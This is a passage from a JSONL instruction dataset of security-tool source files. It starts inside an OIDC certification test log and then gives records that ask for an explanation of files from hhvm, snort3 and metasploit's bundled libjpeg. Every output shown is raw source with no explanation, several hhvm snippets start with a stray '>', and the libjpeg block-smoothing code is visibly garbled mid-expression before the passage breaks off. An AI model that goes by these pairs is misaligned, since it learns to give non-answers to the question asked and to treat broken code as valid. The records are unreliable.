'eyJhbGciOiJSUzI1NiIsImtpZCI6InB1YmxpYzowNWMyNDc4ZC02M2VkLTQ3YzgtYWQ5Mi03NTE4MWE1NjdmYTAiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOlsiYzhiN2Y3ZmEtOTMyMi00MzFjLTk1ZDAtNzBmMGM2ODkzNDNjIl0sImF1dGhfdGltZSI6MTUyOTc1MzEzNiwiZXhwIjoxNTI5NzU2ODMzLCJpYXQiOjE1Mjk3NTMyMzMsImlzcyI6Imh0dHBzOi8vb2lkYy1jZXJ0aWZpY2F0aW9uLm9yeS5zaDo4NDQzLyIsImp0aSI6IjRiMjM5YjM2LWI3NzctNDlmOS1hZTMwLTRhM2JlODVmYWM2MiIsIm5vbmNlIjoialdORVh5cG9tZWxIbVJ5diIsInJhdCI6MTUyOTc1MzIzMCwic3ViIjoiZm9vQGJhci5jb20ifQ.RfzfRlzV_uQcpQlVwNJ3q-5eWpGWopQOssHQTuczBh8OylZWR_jRYO6F_XQaChB4Q23P60y8-QShe9A0Vz50kUfOvRL6QHSyMYdwOY1KUwVLBTp9ajEDs3SLkBi5-1P8OTv7eHPu-TvERvjzGZ_wOxoobIKo4VXLRgiRYwkKAASpz2ySPxkZKv92RpyH-UB9KQCHLGvAPBm4f-5ELNoNygFArWM2zlP63wnWZDtPRhooIDNMBns33sKtFptqC0iRNOJB11O8Iov1A-2eMD8StGzCAxK19OKiWus9O4Wy5c-dopAr27gpFXMQEbU-Of5sILheUNy6vuZmab10JO-fx1nDziacJ4T4pT1H-oJYzR8-wvvV1BWw8u9ZCPwkKARhuUp-ZstaQ7QkvTvipoMLL1zXley52YKQTMGgxdqqIBc80sbacg--KbAjOxZgsYAeVgNrjyzXwRtxIOFMZKJC1tWYJToEUCFYtSGVjDnU3y7M_iTmhlvAoyhlJm4zO7raz2UShhDjX65-EbJPWe_J46-JK5HDAA7QaBgJY802OuhQP1lT8xOi_6NqrKuG9QePcjMqFR0EZlMg4mueV3ljIheJo_mOxU55IbrVccNw0PeYPnl0bxZG5PpAGFfdvRGLma5yji7s4lrrkc3ntjMNNZrROiF-ArnuprVBUJVxveM', 'state': 'W0XLn0WL33ENJPd8'}\n3.953 AuthorizationResponse {\n \"id_token\": {\n \"aud\": [\n \"c8b7f7fa-9322-431c-95d0-70f0c689343c\"\n ],\n \"auth_time\": 1529753136,\n \"exp\": 1529756833,\n \"iat\": 1529753233,\n \"iss\": \"https://oidc-certification.ory.sh:8443/\",\n \"jti\": \"4b239b36-b777-49f9-ae30-4a3be85fac62\",\n \"nonce\": \"jWNEXypomelHmRyv\",\n \"rat\": 1529753230,\n \"sub\": \"foo@bar.com\"\n },\n \"state\": \"W0XLn0WL33ENJPd8\"\n}\n3.953 phase <--<-- 5 --- Done -->-->\n3.953 end \n3.954 assertion VerifyAuthnResponse\n3.954 condition verify-authn-response: status=OK [Checks that the last response was a JSON encoded authentication message]\n3.954 condition Done: status=OK\n\n\n\n============================================================\n\nConditions\n\nverify-authn-response: status=OK [Checks that the last response was a JSON encoded authentication message]\nDone: status=OK\n\n\n\n============================================================\n\nRESULT: PASSED", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:63183"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/traits/2113.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\nfunction main_2113() :mixed{\n$bar = new Bar();\necho $bar->foo().\"\\n\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:24983"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/client/clientTraceAi.ml' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "(*\n * Copyright (c) 2015, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the \"hack\" directory of this source tree.\n *\n *)\n\nopen Hh_prelude\nopen Hh_json\n\nlet print_json res = print_endline (Hh_json.json_to_string (JSON_String res))\n\nlet go res output_json =\n if output_json then\n print_json res\n else\n print_endline res", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:3075"}} -{"instruction": "Explain the purpose and role of 'snort3/src/pub_sub/cip_events.h' from the snort3 security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "//--------------------------------------------------------------------------\n// Copyright (C) 2019-2023 Cisco and/or its affiliates. All rights reserved.\n//\n// This program is free software; you can redistribute it and/or modify it\n// under the terms of the GNU General Public License Version 2 as published\n// by the Free Software Foundation. You may not use, modify or distribute\n// this program under any other version of the GNU General Public License.\n//\n// This program is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n// General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License along\n// with this program; if not, write to the Free Software Foundation, Inc.,\n// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n//--------------------------------------------------------------------------\n// cip_events.h author Jian Wu \n\n#ifndef CIP_EVENTS_H\n#define CIP_EVENTS_H\n\n// This event conveys data published by the CIP service inspector to be consumed\n// by data bus subscribers\n\n#include \n\n#include \"framework/data_bus.h\"\n\nstruct CipEventIds { enum : unsigned { DATA, num_ids }; };\n\nconst snort::PubKey cip_pub_key { \"cip\", CipEventIds::num_ids };\n\nnamespace snort\n{\nstruct Packet;\nstruct SfIp;\n}\n\nstruct CipEventData;\n\nclass SO_PUBLIC CipEvent : public snort::DataEvent\n{\npublic:\n CipEvent(const snort::Packet*, const CipEventData*);\n\n const snort::Packet* get_packet() const override\n { return p; }\n\n const CipEventData* get_event_data()\n { return event_data; }\nprivate:\n const snort::Packet* p;\n const CipEventData* event_data;\n};\n\n#endif", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:51529"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/typehole/T82253794.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\nfunction my_main(): void {\n $items = vec[1, 2, 3];\n foreach ($items as $item) {\n try {\n echo \"hello\";\n } finally {\n continue;\n }\n }\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:14208"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/quick/dv_si_func.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\nfunction main(): void {\n echo \"Done.\\n\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:17327"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/external/source/vncdll/winvnc/libjpeg/jdcoefct.c' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/*\n * jdcoefct.c\n *\n * Copyright (C) 1994-1997, Thomas G. Lane.\n * This file is part of the Independent JPEG Group's software.\n * For conditions of distribution and use, see the accompanying README file.\n *\n * This file contains the coefficient buffer controller for decompression.\n * This controller is the top level of the JPEG decompressor proper.\n * The coefficient buffer lies between entropy decoding and inverse-DCT steps.\n *\n * In buffered-image mode, this controller is the interface between\n * input-oriented processing and output-oriented processing.\n * Also, the input side (only) is used when reading a file for transcoding.\n */\n\n#define JPEG_INTERNALS\n#include \"jinclude.h\"\n#include \"jpeglib.h\"\n\n/* Block smoothing is only applicable for progressive JPEG, so: */\n#ifndef D_PROGRESSIVE_SUPPORTED\n#undef BLOCK_SMOOTHING_SUPPORTED\n#endif\n\n/* Private buffer controller object */\n\ntypedef struct {\n struct jpeg_d_coef_controller pub; /* public fields */\n\n /* These variables keep track of the current location of the input side. */\n /* cinfo->input_iMCU_row is also used for this. */\n JDIMENSION MCU_ctr;\t\t/* counts MCUs processed in current row */\n int MCU_vert_offset;\t\t/* counts MCU rows within iMCU row */\n int MCU_rows_per_iMCU_row;\t/* number of such rows needed */\n\n /* The output side's location is represented by cinfo->output_iMCU_row. */\n\n /* In single-pass modes, it's sufficient to buffer just one MCU.\n * We allocate a workspace of D_MAX_BLOCKS_IN_MCU coefficient blocks,\n * and let the entropy decoder write into that workspace each time.\n * (On 80x86, the workspace is FAR even though it's not really very big;\n * this is to keep the module interfaces unchanged when a large coefficient\n * buffer is necessary.)\n * In multi-pass modes, this array points to the current MCU's blocks\n * within the virtual arrays; it is used only by the input side.\n */\n JBLOCKROW MCU_buffer[D_MAX_BLOCKS_IN_MCU];\n\n#ifdef D_MULTISCAN_FILES_SUPPORTED\n /* In multi-pass modes, we need a virtual block array for each component. */\n jvirt_barray_ptr whole_image[MAX_COMPONENTS];\n#endif\n\n#ifdef BLOCK_SMOOTHING_SUPPORTED\n /* When doing block smoothing, we latch coefficient Al values here */\n int * coef_bits_latch;\n#define SAVED_COEFS 6\t\t/* we save coef_bits[0..5] */\n#endif\n} my_coef_controller;\n\ntypedef my_coef_controller * my_coef_ptr;\n\n/* Forward declarations */\nMETHODDEF(int) decompress_onepass\n\tJPP((j_decompress_ptr cinfo, JSAMPIMAGE output_buf));\n#ifdef D_MULTISCAN_FILES_SUPPORTED\nMETHODDEF(int) decompress_data\n\tJPP((j_decompress_ptr cinfo, JSAMPIMAGE output_buf));\n#endif\n#ifdef BLOCK_SMOOTHING_SUPPORTED\nLOCAL(boolean) smoothing_ok JPP((j_decompress_ptr cinfo));\nMETHODDEF(int) decompress_smooth_data\n\tJPP((j_decompress_ptr cinfo, JSAMPIMAGE output_buf));\n#endif\n\n\nLOCAL(void)\nstart_iMCU_row (j_decompress_ptr cinfo)\n/* Reset within-iMCU-row counters for a new row (input side) */\n{\n my_coef_ptr coef = (my_coef_ptr) cinfo->coef;\n\n /* In an interleaved scan, an MCU row is the same as an iMCU row.\n * In a noninterleaved scan, an iMCU row has v_samp_factor MCU rows.\n * But at the bottom of the image, process only what's left.\n */\n if (cinfo->comps_in_scan > 1) {\n coef->MCU_rows_per_iMCU_row = 1;\n } else {\n if (cinfo->input_iMCU_row < (cinfo->total_iMCU_rows-1))\n coef->MCU_rows_per_iMCU_row = cinfo->cur_comp_info[0]->v_samp_factor;\n else\n coef->MCU_rows_per_iMCU_row = cinfo->cur_comp_info[0]->last_row_height;\n }\n\n coef->MCU_ctr = 0;\n coef->MCU_vert_offset = 0;\n}\n\n\n/*\n * Initialize for an input processing pass.\n */\n\nMETHODDEF(void)\nstart_input_pass (j_decompress_ptr cinfo)\n{\n cinfo->input_iMCU_row = 0;\n start_iMCU_row(cinfo);\n}\n\n\n/*\n * Initialize for an output processing pass.\n */\n\nMETHODDEF(void)\nstart_output_pass (j_decompress_ptr cinfo)\n{\n#ifdef BLOCK_SMOOTHING_SUPPORTED\n my_coef_ptr coef = (my_coef_ptr) cinfo->coef;\n\n /* If multipass, check to see whether to use block smoothing on this pass */\n if (coef->pub.coef_arrays != NULL) {\n if (cinfo->do_block_smoothing && smoothing_ok(cinfo))\n coef->pub.decompress_data = decompress_smooth_data;\n else\n coef->pub.decompress_data = decompress_data;\n }\n#endif\n cinfo->output_iMCU_row = 0;\n}\n\n\n/*\n * Decompress and return some data in the single-pass case.\n * Always attempts to emit one fully interleaved MCU row (\"iMCU\" row).\n * Input and output must run in lockstep since we have only a one-MCU buffer.\n * Return value is JPEG_ROW_COMPLETED, JPEG_SCAN_COMPLETED, or JPEG_SUSPENDED.\n *\n * NB: output_buf contains a plane for each component in image,\n * which we index according to the component's SOF position.\n */\n\nMETHODDEF(int)\ndecompress_onepass (j_decompress_ptr cinfo, JSAMPIMAGE output_buf)\n{\n my_coef_ptr coef = (my_coef_ptr) cinfo->coef;\n JDIMENSION MCU_col_num;\t/* index of current MCU within row */\n JDIMENSION last_MCU_col = cinfo->MCUs_per_row - 1;\n JDIMENSION last_iMCU_row = cinfo->total_iMCU_rows - 1;\n int blkn, ci, xindex, yindex, yoffset, useful_width;\n JSAMPARRAY output_ptr;\n JDIMENSION start_col, output_col;\n jpeg_component_info *compptr;\n inverse_DCT_method_ptr inverse_DCT;\n\n /* Loop to process as much as one whole iMCU row */\n for (yoffset = coef->MCU_vert_offset; yoffset < coef->MCU_rows_per_iMCU_row;\n yoffset++) {\n for (MCU_col_num = coef->MCU_ctr; MCU_col_num <= last_MCU_col;\n\t MCU_col_num++) {\n /* Try to fetch an MCU. Entropy decoder expects buffer to be zeroed. */\n jzero_far((void FAR *) coef->MCU_buffer[0],\n\t\t(size_t) (cinfo->blocks_in_MCU * SIZEOF(JBLOCK)));\n if (! (*cinfo->entropy->decode_mcu) (cinfo, coef->MCU_buffer)) {\n\t/* Suspension forced; update state counters and exit */\n\tcoef->MCU_vert_offset = yoffset;\n\tcoef->MCU_ctr = MCU_col_num;\n\treturn JPEG_SUSPENDED;\n }\n /* Determine where data should go in output_buf and do the IDCT thing.\n * We skip dummy blocks at the right and bottom edges (but blkn gets\n * incremented past them!). Note the inner loop relies on having\n * allocated the MCU_buffer[] blocks sequentially.\n */\n blkn = 0;\t\t\t/* index of current DCT block within MCU */\n for (ci = 0; ci < cinfo->comps_in_scan; ci++) {\n\tcompptr = cinfo->cur_comp_info[ci];\n\t/* Don't bother to IDCT an uninteresting component. */\n\tif (! compptr->component_needed) {\n\t blkn += compptr->MCU_blocks;\n\t continue;\n\t}\n\tinverse_DCT = cinfo->idct->inverse_DCT[compptr->component_index];\n\tuseful_width = (MCU_col_num < last_MCU_col) ? compptr->MCU_width\n\t\t\t\t\t\t : compptr->last_col_width;\n\toutput_ptr = output_buf[compptr->component_index] +\n\t yoffset * compptr->DCT_scaled_size;\n\tstart_col = MCU_col_num * compptr->MCU_sample_width;\n\tfor (yindex = 0; yindex < compptr->MCU_height; yindex++) {\n\t if (cinfo->input_iMCU_row < last_iMCU_row ||\n\t yoffset+yindex < compptr->last_row_height) {\n\t output_col = start_col;\n\t for (xindex = 0; xindex < useful_width; xindex++) {\n\t (*inverse_DCT) (cinfo, compptr,\n\t\t\t (JCOEFPTR) coef->MCU_buffer[blkn+xindex],\n\t\t\t output_ptr, output_col);\n\t output_col += compptr->DCT_scaled_size;\n\t }\n\t }\n\t blkn += compptr->MCU_width;\n\t output_ptr += compptr->DCT_scaled_size;\n\t}\n }\n }\n /* Completed an MCU row, but perhaps not an iMCU row */\n coef->MCU_ctr = 0;\n }\n /* Completed the iMCU row, advance counters for next one */\n cinfo->output_iMCU_row++;\n if (++(cinfo->input_iMCU_row) < cinfo->total_iMCU_rows) {\n start_iMCU_row(cinfo);\n return JPEG_ROW_COMPLETED;\n }\n /* Completed the scan */\n (*cinfo->inputctl->finish_input_pass) (cinfo);\n return JPEG_SCAN_COMPLETED;\n}\n\n\n/*\n * Dummy consume-input routine for single-pass operation.\n */\n\nMETHODDEF(int)\ndummy_consume_data (j_decompress_ptr cinfo)\n{\n return JPEG_SUSPENDED;\t/* Always indicate nothing was done */\n}\n\n\n#ifdef D_MULTISCAN_FILES_SUPPORTED\n\n/*\n * Consume input data and store it in the full-image coefficient buffer.\n * We read as much as one fully interleaved MCU row (\"iMCU\" row) per call,\n * ie, v_samp_factor block rows for each component in the scan.\n * Return value is JPEG_ROW_COMPLETED, JPEG_SCAN_COMPLETED, or JPEG_SUSPENDED.\n */\n\nMETHODDEF(int)\nconsume_data (j_decompress_ptr cinfo)\n{\n my_coef_ptr coef = (my_coef_ptr) cinfo->coef;\n JDIMENSION MCU_col_num;\t/* index of current MCU within row */\n int blkn, ci, xindex, yindex, yoffset;\n JDIMENSION start_col;\n JBLOCKARRAY buffer[MAX_COMPS_IN_SCAN];\n JBLOCKROW buffer_ptr;\n jpeg_component_info *compptr;\n\n /* Align the virtual buffers for the components used in this scan. */\n for (ci = 0; ci < cinfo->comps_in_scan; ci++) {\n compptr = cinfo->cur_comp_info[ci];\n buffer[ci] = (*cinfo->mem->access_virt_barray)\n ((j_common_ptr) cinfo, coef->whole_image[compptr->component_index],\n cinfo->input_iMCU_row * compptr->v_samp_factor,\n (JDIMENSION) compptr->v_samp_factor, TRUE);\n /* Note: entropy decoder expects buffer to be zeroed,\n * but this is handled automatically by the memory manager\n * because we requested a pre-zeroed array.\n */\n }\n\n /* Loop to process one whole iMCU row */\n for (yoffset = coef->MCU_vert_offset; yoffset < coef->MCU_rows_per_iMCU_row;\n yoffset++) {\n for (MCU_col_num = coef->MCU_ctr; MCU_col_num < cinfo->MCUs_per_row;\n\t MCU_col_num++) {\n /* Construct list of pointers to DCT blocks belonging to this MCU */\n blkn = 0;\t\t\t/* index of current DCT block within MCU */\n for (ci = 0; ci < cinfo->comps_in_scan; ci++) {\n\tcompptr = cinfo->cur_comp_info[ci];\n\tstart_col = MCU_col_num * compptr->MCU_width;\n\tfor (yindex = 0; yindex < compptr->MCU_height; yindex++) {\n\t buffer_ptr = buffer[ci][yindex+yoffset] + start_col;\n\t for (xindex = 0; xindex < compptr->MCU_width; xindex++) {\n\t coef->MCU_buffer[blkn++] = buffer_ptr++;\n\t }\n\t}\n }\n /* Try to fetch the MCU. */\n if (! (*cinfo->entropy->decode_mcu) (cinfo, coef->MCU_buffer)) {\n\t/* Suspension forced; update state counters and exit */\n\tcoef->MCU_vert_offset = yoffset;\n\tcoef->MCU_ctr = MCU_col_num;\n\treturn JPEG_SUSPENDED;\n }\n }\n /* Completed an MCU row, but perhaps not an iMCU row */\n coef->MCU_ctr = 0;\n }\n /* Completed the iMCU row, advance counters for next one */\n if (++(cinfo->input_iMCU_row) < cinfo->total_iMCU_rows) {\n start_iMCU_row(cinfo);\n return JPEG_ROW_COMPLETED;\n }\n /* Completed the scan */\n (*cinfo->inputctl->finish_input_pass) (cinfo);\n return JPEG_SCAN_COMPLETED;\n}\n\n\n/*\n * Decompress and return some data in the multi-pass case.\n * Always attempts to emit one fully interleaved MCU row (\"iMCU\" row).\n * Return value is JPEG_ROW_COMPLETED, JPEG_SCAN_COMPLETED, or JPEG_SUSPENDED.\n *\n * NB: output_buf contains a plane for each component in image.\n */\n\nMETHODDEF(int)\ndecompress_data (j_decompress_ptr cinfo, JSAMPIMAGE output_buf)\n{\n my_coef_ptr coef = (my_coef_ptr) cinfo->coef;\n JDIMENSION last_iMCU_row = cinfo->total_iMCU_rows - 1;\n JDIMENSION block_num;\n int ci, block_row, block_rows;\n JBLOCKARRAY buffer;\n JBLOCKROW buffer_ptr;\n JSAMPARRAY output_ptr;\n JDIMENSION output_col;\n jpeg_component_info *compptr;\n inverse_DCT_method_ptr inverse_DCT;\n\n /* Force some input to be done if we are getting ahead of the input. */\n while (cinfo->input_scan_number < cinfo->output_scan_number ||\n\t (cinfo->input_scan_number == cinfo->output_scan_number &&\n\t cinfo->input_iMCU_row <= cinfo->output_iMCU_row)) {\n if ((*cinfo->inputctl->consume_input)(cinfo) == JPEG_SUSPENDED)\n return JPEG_SUSPENDED;\n }\n\n /* OK, output from the virtual arrays. */\n for (ci = 0, compptr = cinfo->comp_info; ci < cinfo->num_components;\n ci++, compptr++) {\n /* Don't bother to IDCT an uninteresting component. */\n if (! compptr->component_needed)\n continue;\n /* Align the virtual buffer for this component. */\n buffer = (*cinfo->mem->access_virt_barray)\n ((j_common_ptr) cinfo, coef->whole_image[ci],\n cinfo->output_iMCU_row * compptr->v_samp_factor,\n (JDIMENSION) compptr->v_samp_factor, FALSE);\n /* Count non-dummy DCT block rows in this iMCU row. */\n if (cinfo->output_iMCU_row < last_iMCU_row)\n block_rows = compptr->v_samp_factor;\n else {\n /* NB: can't use last_row_height here; it is input-side-dependent! */\n block_rows = (int) (compptr->height_in_blocks % compptr->v_samp_factor);\n if (block_rows == 0) block_rows = compptr->v_samp_factor;\n }\n inverse_DCT = cinfo->idct->inverse_DCT[ci];\n output_ptr = output_buf[ci];\n /* Loop over all DCT blocks to be processed. */\n for (block_row = 0; block_row < block_rows; block_row++) {\n buffer_ptr = buffer[block_row];\n output_col = 0;\n for (block_num = 0; block_num < compptr->width_in_blocks; block_num++) {\n\t(*inverse_DCT) (cinfo, compptr, (JCOEFPTR) buffer_ptr,\n\t\t\toutput_ptr, output_col);\n\tbuffer_ptr++;\n\toutput_col += compptr->DCT_scaled_size;\n }\n output_ptr += compptr->DCT_scaled_size;\n }\n }\n\n if (++(cinfo->output_iMCU_row) < cinfo->total_iMCU_rows)\n return JPEG_ROW_COMPLETED;\n return JPEG_SCAN_COMPLETED;\n}\n\n#endif /* D_MULTISCAN_FILES_SUPPORTED */\n\n\n#ifdef BLOCK_SMOOTHING_SUPPORTED\n\n/*\n * This code applies interblock smoothing as described by section K.8\n * of the JPEG standard: the first 5 AC coefficients are estimated from\n * the DC values of a DCT block and its 8 neighboring blocks.\n * We apply smoothing only for progressive JPEG decoding, and only if\n * the coefficients it can estimate are not yet known to full precision.\n */\n\n/* Natural-order array positions of the first 5 zigzag-order coefficients */\n#define Q01_POS 1\n#define Q10_POS 8\n#define Q20_POS 16\n#define Q11_POS 9\n#define Q02_POS 2\n\n/*\n * Determine whether block smoothing is applicable and safe.\n * We also latch the current states of the coef_bits[] entries for the\n * AC coefficients; otherwise, if the input side of the decompressor\n * advances into a new scan, we might think the coefficients are known\n * more accurately than they really are.\n */\n\nLOCAL(boolean)\nsmoothing_ok (j_decompress_ptr cinfo)\n{\n my_coef_ptr coef = (my_coef_ptr) cinfo->coef;\n boolean smoothing_useful = FALSE;\n int ci, coefi;\n jpeg_component_info *compptr;\n JQUANT_TBL * qtable;\n int * coef_bits;\n int * coef_bits_latch;\n\n if (! cinfo->progressive_mode || cinfo->coef_bits == NULL)\n return FALSE;\n\n /* Allocate latch area if not already done */\n if (coef->coef_bits_latch == NULL)\n coef->coef_bits_latch = (int *)\n (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,\n\t\t\t\t cinfo->num_components *\n\t\t\t\t (SAVED_COEFS * SIZEOF(int)));\n coef_bits_latch = coef->coef_bits_latch;\n\n for (ci = 0, compptr = cinfo->comp_info; ci < cinfo->num_components;\n ci++, compptr++) {\n /* All components' quantization values must already be latched. */\n if ((qtable = compptr->quant_table) == NULL)\n return FALSE;\n /* Verify DC & first 5 AC quantizers are nonzero to avoid zero-divide. */\n if (qtable->quantval[0] == 0 ||\n\tqtable->quantval[Q01_POS] == 0 ||\n\tqtable->quantval[Q10_POS] == 0 ||\n\tqtable->quantval[Q20_POS] == 0 ||\n\tqtable->quantval[Q11_POS] == 0 ||\n\tqtable->quantval[Q02_POS] == 0)\n return FALSE;\n /* DC values must be at least partly known for all components. */\n coef_bits = cinfo->coef_bits[ci];\n if (coef_bits[0] < 0)\n return FALSE;\n /* Block smoothing is helpful if some AC coefficients remain inaccurate. */\n for (coefi = 1; coefi <= 5; coefi++) {\n coef_bits_latch[coefi] = coef_bits[coefi];\n if (coef_bits[coefi] != 0)\n\tsmoothing_useful = TRUE;\n }\n coef_bits_latch += SAVED_COEFS;\n }\n\n return smoothing_useful;\n}\n\n\n/*\n * Variant of decompress_data for use when doing block smoothing.\n */\n\nMETHODDEF(int)\ndecompress_smooth_data (j_decompress_ptr cinfo, JSAMPIMAGE output_buf)\n{\n my_coef_ptr coef = (my_coef_ptr) cinfo->coef;\n JDIMENSION last_iMCU_row = cinfo->total_iMCU_rows - 1;\n JDIMENSION block_num, last_block_column;\n int ci, block_row, block_rows, access_rows;\n JBLOCKARRAY buffer;\n JBLOCKROW buffer_ptr, prev_block_row, next_block_row;\n JSAMPARRAY output_ptr;\n JDIMENSION output_col;\n jpeg_component_info *compptr;\n inverse_DCT_method_ptr inverse_DCT;\n boolean first_row, last_row;\n JBLOCK workspace;\n int *coef_bits;\n JQUANT_TBL *quanttbl;\n INT32 Q00,Q01,Q02,Q10,Q11,Q20, num;\n int DC1,DC2,DC3,DC4,DC5,DC6,DC7,DC8,DC9;\n int Al, pred;\n\n /* Force some input to be done if we are getting ahead of the input. */\n while (cinfo->input_scan_number <= cinfo->output_scan_number &&\n\t ! cinfo->inputctl->eoi_reached) {\n if (cinfo->input_scan_number == cinfo->output_scan_number) {\n /* If input is working on current scan, we ordinarily want it to\n * have completed the current row. But if input scan is DC,\n * we want it to keep one row ahead so that next block row's DC\n * values are up to date.\n */\n JDIMENSION delta = (cinfo->Ss == 0) ? 1 : 0;\n if (cinfo->input_iMCU_row > cinfo->output_iMCU_row+delta)\n\tbreak;\n }\n if ((*cinfo->inputctl->consume_input)(cinfo) == JPEG_SUSPENDED)\n return JPEG_SUSPENDED;\n }\n\n /* OK, output from the virtual arrays. */\n for (ci = 0, compptr = cinfo->comp_info; ci < cinfo->num_components;\n ci++, compptr++) {\n /* Don't bother to IDCT an uninteresting component. */\n if (! compptr->component_needed)\n continue;\n /* Count non-dummy DCT block rows in this iMCU row. */\n if (cinfo->output_iMCU_row < last_iMCU_row) {\n block_rows = compptr->v_samp_factor;\n access_rows = block_rows * 2; /* this and next iMCU row */\n last_row = FALSE;\n } else {\n /* NB: can't use last_row_height here; it is input-side-dependent! */\n block_rows = (int) (compptr->height_in_blocks % compptr->v_samp_factor);\n if (block_rows == 0) block_rows = compptr->v_samp_factor;\n access_rows = block_rows; /* this iMCU row only */\n last_row = TRUE;\n }\n /* Align the virtual buffer for this component. */\n if (cinfo->output_iMCU_row > 0) {\n access_rows += compptr->v_samp_factor; /* prior iMCU row too */\n buffer = (*cinfo->mem->access_virt_barray)\n\t((j_common_ptr) cinfo, coef->whole_image[ci],\n\t (cinfo->output_iMCU_row - 1) * compptr->v_samp_factor,\n\t (JDIMENSION) access_rows, FALSE);\n buffer += compptr->v_samp_factor;\t/* point to current iMCU row */\n first_row = FALSE;\n } else {\n buffer = (*cinfo->mem->access_virt_barray)\n\t((j_common_ptr) cinfo, coef->whole_image[ci],\n\t (JDIMENSION) 0, (JDIMENSION) access_rows, FALSE);\n first_row = TRUE;\n }\n /* Fetch component-dependent info */\n coef_bits = coef->coef_bits_latch + (ci * SAVED_COEFS);\n quanttbl = compptr->quant_table;\n Q00 = quanttbl->quantval[0];\n Q01 = quanttbl->quantval[Q01_POS];\n Q10 = quanttbl->quantval[Q10_POS];\n Q20 = quanttbl->quantval[Q20_POS];\n Q11 = quanttbl->quantval[Q11_POS];\n Q02 = quanttbl->quantval[Q02_POS];\n inverse_DCT = cinfo->idct->inverse_DCT[ci];\n output_ptr = output_buf[ci];\n /* Loop over all DCT blocks to be processed. */\n for (block_row = 0; block_row < block_rows; block_row++) {\n buffer_ptr = buffer[block_row];\n if (first_row && block_row == 0)\n\tprev_block_row = buffer_ptr;\n else\n\tprev_block_row = buffer[block_row-1];\n if (last_row && block_row == block_rows-1)\n\tnext_block_row = buffer_ptr;\n else\n\tnext_block_row = buffer[block_row+1];\n /* We fetch the surrounding DC values using a sliding-register approach.\n * Initialize all nine here so as to do the right thing on narrow pics.\n */\n DC1 = DC2 = DC3 = (int) prev_block_row[0][0];\n DC4 = DC5 = DC6 = (int) buffer_ptr[0][0];\n DC7 = DC8 = DC9 = (int) next_block_row[0][0];\n output_col = 0;\n last_block_column = compptr->width_in_blocks - 1;\n for (block_num = 0; block_num <= last_block_column; block_num++) {\n\t/* Fetch current DCT block into workspace so we can modify it. */\n\tjcopy_block_row(buffer_ptr, (JBLOCKROW) workspace, (JDIMENSION) 1);\n\t/* Update DC values */\n\tif (block_num < last_block_column) {\n\t DC3 = (int) prev_block_row[1][0];\n\t DC6 = (int) buffer_ptr[1][0];\n\t DC9 = (int) next_block_row[1][0];\n\t}\n\t/* Compute coefficient estimates per K.8.\n\t * An estimate is applied only if coefficient is still zero,\n\t * and is not known to be fully accurate.\n\t */\n\t/* AC01 */\n\tif ((Al=coef_bits[1]) != 0 && workspace[1] == 0) {\n\t num = 36 * Q00 * (DC4 - DC6);\n\t if (num >= 0) {\n\t pred = (int) (((Q01<<7) + num) / (Q01<<8));\n\t if (Al > 0 && pred >= (1< 0 && pred >= (1<= 0) {\n\t pred = (int) (((Q10<<7) + num) / (Q10<<8));\n\t if (Al > 0 && pred >= (1< 0 && pred >= (1<= 0) {\n\t pred = (int) (((Q20<<7) + num) / (Q20<<8));\n\t if (Al > 0 && pred >= (1< 0 && pred >= (1<= 0) {\n\t pred = (int) (((Q11<<7) + num) / (Q11<<8));\n\t if (Al > 0 && pred >= (1< 0 && pred >= (1<= 0) {\n\t pred = (int) (((Q02<<7) + num) / (Q02<<8));\n\t if (Al > 0 && pred >= (1< 0 && pred >= (1<DCT_scaled_size;\n }\n output_ptr += compptr->DCT_scaled_size;\n }\n }\n\n if (++(cinfo->output_iMCU_row) < cinfo->total_iMCU_rows)\n return JPEG_ROW_COMPLETED;\n return JPEG_SCAN_COMPLETED;\n}\n\n#endif /* BLOCK_SMOOTHING_SUPPORTED */\n\n\n/*\n * Initialize coefficient buffer controller.\n */\n\nGLOBAL(void)\njinit_d_coef_controller (j_decompress_ptr cinfo, boolean need_full_buffer)\n{\n my_coef_ptr coef;\n\n coef = (my_coef_ptr)\n (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,\n\t\t\t\tSIZEOF(my_coef_controller));\n cinfo->coef = (struct jpeg_d_coef_controller *) coef;\n coef->pub.start_input_pass = start_input_pass;\n coef->pub.start_output_pass = start_output_pass;\n#ifdef BLOCK_SMOOTHING_SUPPORTED\n coef->coef_bits_latch = NULL;\n#endif\n\n /* Create the coefficient buffer. */\n if (need_full_buffer) {\n#ifdef D_MULTISCAN_FILES_SUPPORTED\n /* Allocate a full-image virtual array for each component, */\n /* padded to a multiple of samp_factor DCT blocks in each direction. */\n /* Note we ask for a pre-zeroed array. */\n int ci, access_rows;\n jpeg_component_info *compptr;\n\n for 